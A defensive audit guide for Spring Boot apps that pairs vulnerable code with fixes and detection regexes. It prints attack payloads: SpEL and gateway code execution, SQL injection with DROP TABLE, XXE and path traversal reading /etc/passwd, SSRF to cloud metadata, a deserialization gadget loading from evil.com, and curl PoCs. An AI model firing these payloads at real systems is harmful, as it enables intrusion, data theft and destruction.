# Spring Boot Security Audit Guide

> Spring Framework and Spring Boot Security Audit Module
> Applicable to: Spring Boot 2.x/3.x, Spring MVC, Spring Security, Spring Data

## Core Attack Surface

Spring Framework's powerful dependency injection and aspect-oriented features bring unique attack surfaces: SpEL expression injection, deserialization, Spring Cloud Gateway vulnerabilities, Actuator exposure, SQL/HQL injection, etc.

---

## SpEL Expression Injection Detection

```java
// High-risk functions and annotations
@Value("#{user.input}")              // ❌ SpEL expression injection
parser.parseExpression(userInput)    // ❌ Directly parses user input
new SpelExpressionParser()           // Watch for usage scenarios

// Common vulnerability scenarios
@RequestMapping("/user")
public String getUser(@RequestParam String name) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression(name);  // ❌ Critical: SpEL injection
    return exp.getValue().toString();
}

// Attack payload
GET /user?name=T(java.lang.Runtime).getRuntime().exec("calc")
GET /user?name=new java.util.Scanner(new java.io.File("/etc/passwd")).useDelimiter("\\Z").next()

// Audit regex
@Value\s*\(.*#\{.*\}.*\)|SpelExpressionParser|parseExpression\s*\(
StandardEvaluationContext

// Security fix
// Use SimpleEvaluationContext (restricted context)
ExpressionParser parser = new SpelExpressionParser();
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(safeExpression);
Object value = exp.getValue(context);  // ✓ Cannot execute dangerous operations

// Or completely avoid dynamic SpEL
@Value("${app.static.config}")  // ✓ Use property placeholder instead of SpEL
```

---

## Spring Cloud Gateway Vulnerabilities

```yaml
# CVE-2022-22947 - Spring Cloud Gateway Actuator Remote Code Execution
# Dangerous configuration
management:
  endpoint:
    gateway:
      enabled: true  # ❌ Gateway actuator enabled

spring:
  cloud:
    gateway:
      actuator:
        verbose:
          enabled: true  # ❌ Verbose mode

# Attack vector
POST /actuator/gateway/routes/test HTTP/1.1
Content-Type: application/json

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(java.lang.Runtime).getRuntime().exec('calc')}"
    }
  }],
  "uri": "http://example.com"
}

# Safe configuration
management:
  endpoints:
    web:
      exposure:
        exclude: gateway  # ✓ Disable gateway endpoint
  endpoint:
    gateway:
      enabled: false      # ✓ Explicitly disable
```

---

## Spring Actuator Information Disclosure

```yaml
# Dangerous configuration
management:
  endpoints:
    web:
      exposure:
        include: "*"     # ❌ Exposes all endpoints
  endpoint:
    env:
      show-values: ALWAYS  # ❌ Shows sensitive environment variables

# Dangerous endpoint list
/actuator/env            # Environment variables (includes passwords)
/actuator/heapdump       # Heap dump (includes in-memory secrets)
/actuator/trace          # HTTP traces (includes request parameters)
/actuator/mappings       # Route mappings
/actuator/beans          # Bean configurations
/actuator/configprops    # Configuration properties

# Audit check
grep -r "management.endpoints.web.exposure.include" .
grep -r "management.security.enabled.*false" .

# Safe configuration
management:
  endpoints:
    web:
      exposure:
        include: health,info  # ✓ Only expose necessary endpoints
      base-path: /internal/actuator  # ✓ Custom path
  endpoint:
    env:
      show-values: WHEN_AUTHORIZED  # ✓ Requires authentication
  server:
    port: 8081  # ✓ Use separate port

# Add security authentication
@Configuration
public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.requestMatcher(EndpointRequest.toAnyEndpoint())
            .authorizeRequests()
            .anyRequest().hasRole("ACTUATOR_ADMIN");  // ✓
    }
}
```

---

## SQL/HQL Injection Detection

```java
// Dangerous operation - JPA
@Query(value = "SELECT * FROM users WHERE name = " + name)  // ❌ Critical
List<User> findByName(String name);

// Dangerous operation - EntityManager
String query = "SELECT u FROM User u WHERE name = '" + name + "'";
entityManager.createQuery(query);  // ❌ Critical: HQL injection

// Dangerous operation - JdbcTemplate
jdbcTemplate.query("SELECT * FROM users WHERE id = " + id);  // ❌ Critical

// Audit regex
@Query.*\+\s*[a-zA-Z]|createQuery\s*\(.*\+|jdbcTemplate\.(query|update).*\+
String.*=.*"SELECT.*\+

// Vulnerability example
@GetMapping("/user")
public User getUser(@RequestParam String id) {
    String sql = "SELECT * FROM users WHERE id = " + id;
    return jdbcTemplate.queryForObject(sql, User.class);  // ❌
}

// Attack payload
GET /user?id=1' OR '1'='1
GET /user?id=1; DROP TABLE users--

// Security fix - Parameterized queries
@Query("SELECT u FROM User u WHERE name = :name")  // ✓
List<User> findByName(@Param("name") String name);

// EntityManager parameterized
TypedQuery<User> query = entityManager.createQuery(
    "SELECT u FROM User u WHERE name = :name", User.class);
query.setParameter("name", name);  // ✓

// JdbcTemplate parameterized
jdbcTemplate.query(
    "SELECT * FROM users WHERE id = ?",
    new Object[]{id},
    new BeanPropertyRowMapper<>(User.class)
);  // ✓
```

---

## Unsafe Deserialization

```java
// Dangerous libraries and configurations
Jackson:
enableDefaultTyping()                // ❌ Dangerous configuration
@JsonTypeInfo(use = Id.CLASS)        // ❌ Allows arbitrary classes

XStream:
new XStream()                        // ❌ No whitelist
xstream.fromXML(userInput)           // ❌

// Audit regex
enableDefaultTyping|@JsonTypeInfo.*Id\.CLASS|new\s+XStream\s*\(\)
readObject\s*\(|ObjectInputStream

// Vulnerability example - Jackson
@PostMapping("/user")
public User createUser(@RequestBody String json) {
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();  // ❌ Critical: Polymorphic type handling
    return mapper.readValue(json, User.class);
}

// Attack payload
["org.springframework.context.support.ClassPathXmlApplicationContext",
 "http://evil.com/malicious.xml"]

// Security fix
ObjectMapper mapper = new ObjectMapper();
// Do not enable enableDefaultTyping
mapper.readValue(json, User.class);  // ✓

// If polymorphic support is required, use whitelist
ObjectMapper mapper = new ObjectMapper();
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("com.example.safepackage")  // ✓ Whitelist package
    .build();
mapper.activateDefaultTyping(ptv, DefaultTyping.NON_FINAL);
```

---

## Unsafe File Upload

```java
// Dangerous operation
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    file.transferTo(new File("/uploads/" + filename));  // ❌ High: Path traversal
}

// Attack payload
POST /upload
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../evil.jsp"

// Audit regex
getOriginalFilename\(\).*transferTo|FileCopyUtils\.copy.*getOriginalFilename

// Security fix
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();

    // 1. Filename validation
    if (filename == null || filename.contains("..") || filename.contains("/")) {
        throw new IllegalArgumentException("Invalid filename");
    }

    // 2. Extension whitelist
    String ext = FilenameUtils.getExtension(filename);
    if (!Arrays.asList("jpg", "png", "pdf").contains(ext.toLowerCase())) {
        throw new IllegalArgumentException("Invalid file type");
    }

    // 3. Use random filename
    String safeFilename = UUID.randomUUID().toString() + "." + ext;
    Path targetPath = Paths.get("/uploads").resolve(safeFilename);

    // 4. Validate path
    if (!targetPath.normalize().startsWith("/uploads")) {
        throw new IllegalArgumentException("Invalid path");
    }

    // 5. File size limit
    if (file.getSize() > 10 * 1024 * 1024) {  // 10MB
        throw new IllegalArgumentException("File too large");
    }

    file.transferTo(targetPath.toFile());  // ✓
}

// application.yml configuration
spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 10MB
```

---

## SSRF Detection

```java
// Dangerous operation
RestTemplate restTemplate = new RestTemplate();
String url = request.getParameter("url");
String response = restTemplate.getForObject(url, String.class);  // ❌ High: SSRF

// Audit regex
RestTemplate|WebClient|HttpClient.*getParameter|getQueryString
getForObject.*request\.|exchange.*request\.

// Vulnerability example
@GetMapping("/fetch")
public String fetchUrl(@RequestParam String url) {
    RestTemplate restTemplate = new RestTemplate();
    return restTemplate.getForObject(url, String.class);  // ❌
}

// Attack payload
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET /fetch?url=http://localhost:8080/actuator/env
GET /fetch?url=file:///etc/passwd

// Security fix
private static final Set<String> ALLOWED_HOSTS = Set.of(
    "api.example.com",
    "cdn.example.com"
);

@GetMapping("/fetch")
public String fetchUrl(@RequestParam String url) throws Exception {
    URI uri = new URI(url);

    // 1. Protocol whitelist
    if (!uri.getScheme().equals("https")) {
        throw new IllegalArgumentException("Only HTTPS allowed");
    }

    // 2. Host whitelist
    if (!ALLOWED_HOSTS.contains(uri.getHost())) {
        throw new IllegalArgumentException("Host not allowed");
    }

    // 3. Block internal IPs
    InetAddress addr = InetAddress.getByName(uri.getHost());
    if (addr.isSiteLocalAddress() || addr.isLoopbackAddress()) {
        throw new IllegalArgumentException("Internal IP not allowed");
    }

    RestTemplate restTemplate = new RestTemplate();
    return restTemplate.getForObject(uri, String.class);  // ✓
}
```

---

## Insecure CORS Configuration

```java
// Dangerous configuration
@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/**")
                    .allowedOrigins("*")  // ❌ High: Allows all domains
                    .allowCredentials(true);  // ❌ Conflicts with wildcard
            }
        };
    }
}

// Audit regex
allowedOrigins.*\*|setAllowedOrigins.*\*|allowedOriginPatterns.*\*
allowCredentials.*true

// Security fix
@Configuration
public class CorsConfig {
    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/api/**")
                    .allowedOrigins("https://app.example.com")  // ✓ Explicit domain
                    .allowedMethods("GET", "POST")
                    .allowedHeaders("Content-Type", "Authorization")
                    .allowCredentials(true)
                    .maxAge(3600);
            }
        };
    }
}

// Dynamic Origin validation
@Override
public void addCorsMappings(CorsRegistry registry) {
    registry.addMapping("/api/**")
        .allowedOriginPatterns(
            "https://*.example.com",  // ✓ Subdomain pattern
            "https://example.com"
        )
        .allowCredentials(true);
}
```

---

## Authentication and Authorization Bypass

```java
// Dangerous configuration - permitAll abuse
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .antMatchers("/**").permitAll();  // ❌ Critical: All paths require no authentication
    }
}

// Dangerous configuration - CSRF disabled
http.csrf().disable();  // ❌ Medium: Unless API is only for non-browser clients

// Dangerous configuration - Annotation bypass
@PreAuthorize("true")  // ❌ Meaningless authorization check
@PreAuthorize("hasRole('" + userRole + "')")  // ❌ String concatenation may inject

// Audit regex
permitAll\(\)|csrf\(\)\.disable|@PreAuthorize.*\+

// Vulnerability example
@GetMapping("/admin")
@PreAuthorize("hasRole('ADMIN')")
public String admin() {
    return "Admin panel";
}

@GetMapping("/admin/bypass")  // ❌ Forgot to add authorization annotation
public String adminBypass() {
    return "Admin panel without auth";
}

// Security fix
@Configuration
@EnableGlobalMethodSecurity(prePostEnabled = true)
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/public/**").permitAll()  // ✓ Explicit public paths
                .antMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()  // ✓ Default requires authentication
            .and()
            .formLogin()
            .and()
            .csrf()  // ✓ Enable CSRF protection
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
    }
}

// Use method-level security
@PreAuthorize("hasRole('ADMIN')")  // ✓ Static role
@PreAuthorize("@authService.canAccess(#id)")  // ✓ Custom logic
```

---

## Path Traversal in ResourceHttpRequestHandler

```java
// CVE-2018-1271 - Spring MVC Path Traversal
// Dangerous configuration
@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addResourceHandlers(ResourceHandlerRegistry registry) {
        registry.addResourceHandler("/files/**")
            .addResourceLocations("file:/var/www/uploads/");  // ❌ May allow path traversal
    }
}

// Attack payload
GET /files/..%252F..%252Fetc%252Fpasswd

// Audit regex
addResourceLocations.*file:|addResourceHandler.*\*\*

// Security measures
// 1. Upgrade to secure version (Spring 5.0.5+ / 4.3.15+)
// 2. Avoid file: protocol
registry.addResourceHandler("/static/**")
    .addResourceLocations("classpath:/static/");  // ✓ Use classpath
```

---

## XXE Vulnerability Detection

```java
// Dangerous operation
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(userInputStream);  // ❌ High: XXE

SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();  // ❌ Not secure by default

// Audit regex
DocumentBuilderFactory\.newInstance|SAXParserFactory\.newInstance|XMLInputFactory\.newInstance
setFeature.*FEATURE_SECURE_PROCESSING

// Attack payload
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

// Security fix
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disable DTD
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable external entities
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Disable external DTD
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(userInputStream);  // ✓
```

---

## Open Redirect Detection

```java
// Dangerous operation
@GetMapping("/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url;  // ❌ Medium: Open redirect
}

@GetMapping("/forward")
public ModelAndView forward(@RequestParam String page) {
    return new ModelAndView("forward:" + page);  // ❌ Medium
}

// Audit regex
return\s+"redirect:".*request\.|ModelAndView.*"forward:".*request\.

// Attack payload
GET /redirect?url=https://evil.com/phishing

// Security fix
private static final Set<String> ALLOWED_REDIRECTS = Set.of(
    "/home", "/dashboard", "/profile"
);

@GetMapping("/redirect")
public String redirect(@RequestParam String url) {
    // Only allow relative paths
    if (!url.startsWith("/") || url.startsWith("//")) {
        throw new IllegalArgumentException("Invalid redirect URL");
    }

    // Whitelist check
    if (!ALLOWED_REDIRECTS.contains(url)) {
        return "redirect:/home";  // Default safe page
    }

    return "redirect:" + url;  // ✓
}

// Or verify domain
URI uri = new URI(url);
if (!"example.com".equals(uri.getHost())) {
    return "redirect:/";
}
```

---

## Sensitive Information Disclosure

```java
// Dangerous operation
@ExceptionHandler(Exception.class)
public ResponseEntity<String> handleException(Exception e) {
    return ResponseEntity.status(500)
        .body(e.getMessage() + "\n" + e.getStackTrace());  // ❌ Medium: Stack trace leakage
}

// application.properties
spring.jpa.show-sql=true             // ❌ Low: SQL logging
logging.level.root=DEBUG             // ❌ Low: Debug logging
server.error.include-stacktrace=always  // ❌ Medium: Always returns stack trace

// Audit regex
printStackTrace|getStackTrace|show-sql=true|include-stacktrace=always

// Security fix
@ExceptionHandler(Exception.class)
public ResponseEntity<ErrorResponse> handleException(Exception e) {
    log.error("Error occurred", e);  // ✓ Backend logs detailed error

    ErrorResponse error = new ErrorResponse();
    error.setMessage("An error occurred");  // ✓ Generic error message
    error.setTimestamp(LocalDateTime.now());

    return ResponseEntity.status(500).body(error);
}

// application.properties (production)
spring.jpa.show-sql=false
logging.level.root=WARN
server.error.include-stacktrace=never
server.error.include-message=never
```

---

## JWT Security Detection

```java
// Dangerous operation
String jwt = request.getHeader("Authorization");
Claims claims = Jwts.parser()
    .parse(jwt)  // ❌ High: Does not verify signature
    .getBody();

// Weak secret
String SECRET = "secret";  // ❌ Critical: Weak secret

// none algorithm
Jwts.builder().setAlgorithm("none");  // ❌ Critical

// Audit regex
\.parse\((?!.*setSigningKey)|SECRET.*=.*"[^"]{1,16}"|setAlgorithm.*none

// Security fix
@Value("${jwt.secret}")
private String jwtSecret;  // ✓ Read strong secret from configuration

public Claims validateToken(String token) {
    try {
        return Jwts.parser()
            .setSigningKey(jwtSecret.getBytes())  // ✓ Verify signature
            .parseClaimsJws(token)
            .getBody();
    } catch (JwtException e) {
        throw new UnauthorizedException("Invalid token");
    }
}

// Secret requirements
// application.properties
jwt.secret=${JWT_SECRET:}  // Read from environment variable
# Secret must be at least 32 bytes random string
```

---

## Search Pattern Summary

```regex
# SpEL Injection
@Value.*#\{|SpelExpressionParser|parseExpression\(

# SQL/HQL Injection
@Query.*\+|createQuery.*\+|jdbcTemplate\.(query|update).*\+

# Deserialization
enableDefaultTyping|@JsonTypeInfo.*Id\.CLASS|readObject

# File Operations
getOriginalFilename|transferTo|FileCopyUtils

# SSRF
RestTemplate|WebClient.*getParameter|getForObject.*request

# Actuator
management\.endpoints.*include.*\*

# Authentication and Authorization
permitAll\(\)|csrf\(\)\.disable|@PreAuthorize.*\+

# XXE
DocumentBuilderFactory\.newInstance

# Sensitive Information
printStackTrace|getStackTrace|show-sql=true

# Open Redirect
return.*"redirect:".*request|ModelAndView.*"forward:"
```

---

## Quick Audit Checklist

```markdown
[ ] Check Spring Boot version and known CVEs
[ ] Search for SpelExpressionParser (SpEL injection)
[ ] Check Actuator endpoint exposure configuration
[ ] Check SQL/HQL query string concatenation
[ ] Search for enableDefaultTyping (deserialization)
[ ] Check file upload path handling
[ ] Check RestTemplate/WebClient SSRF
[ ] Check CORS configuration (allowedOrigins)
[ ] Check authentication and authorization configuration (permitAll)
[ ] Check if CSRF is reasonably disabled
[ ] Check JWT verification logic
[ ] Check if exception handling leaks stack traces
[ ] Check XXE protection configuration
[ ] Check for open redirect vulnerabilities
[ ] Audit application.properties for sensitive configuration
```

---

## Minimum PoC Examples
```bash
# SpEL/Expression Injection
curl "http://localhost:8080/search?expr=T(java.lang.Runtime).getRuntime().exec('id')"

# SSRF
curl "http://localhost:8080/fetch?url=http://169.254.169.254/latest/meta-data/"

# Path Traversal Download
curl "http://localhost:8080/common/download?fileName=../../../../etc/passwd"
```

---

## Reference Resources

- [Spring Security Reference](https://docs.spring.io/spring-security/reference/)
- [Spring Boot CVE List](https://spring.io/security-advisories)
- [OWASP Spring Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Spring_Security_Cheat_Sheet.html)
- [Spring Cloud Gateway Vulnerabilities](https://tanzu.vmware.com/security)

---

## RuoYi Audit Experience (Spring Boot Practical)

> Audit experience notes based on real projects such as RuoYi

### @DataScope Annotation Risk

```java
// Risk example: SQL injection in data scope filtering
@DataScope(deptAlias = "d")
public List<User> selectUserList(User user) {
    return mapper.selectUserList(user); // Uses ${params.dataScope}
}
```

**Detection Rules:**
```bash
grep -rn "@DataScope" --include="*.java"
grep -rn "\$\{" --include="*.xml"
```

### AOP Aspect Security Risks

```java
@Aspect
@Component
public class DataScopeAspect {
    // Risk: SQL concatenation in AOP aspect
    baseEntity.getParams().put(DATA_SCOPE, " AND (" + sqlString.substring(4) + ")");
}
```

### Export Function Risks

```java
@PostMapping("/export")
public AjaxResult export(User user) {
    List<User> list = userService.selectUserList(user); // Indirectly calls data filtering
    return util.exportExcel(list, "User data");
}
```

**Audit Checklist Additions:**
- [ ] SQL injection driven by @DataScope annotation
- [ ] SQL concatenation risk in AOP aspects
- [ ] Data filtering vulnerabilities in export functions
- [ ] Security risks masked by permission annotations
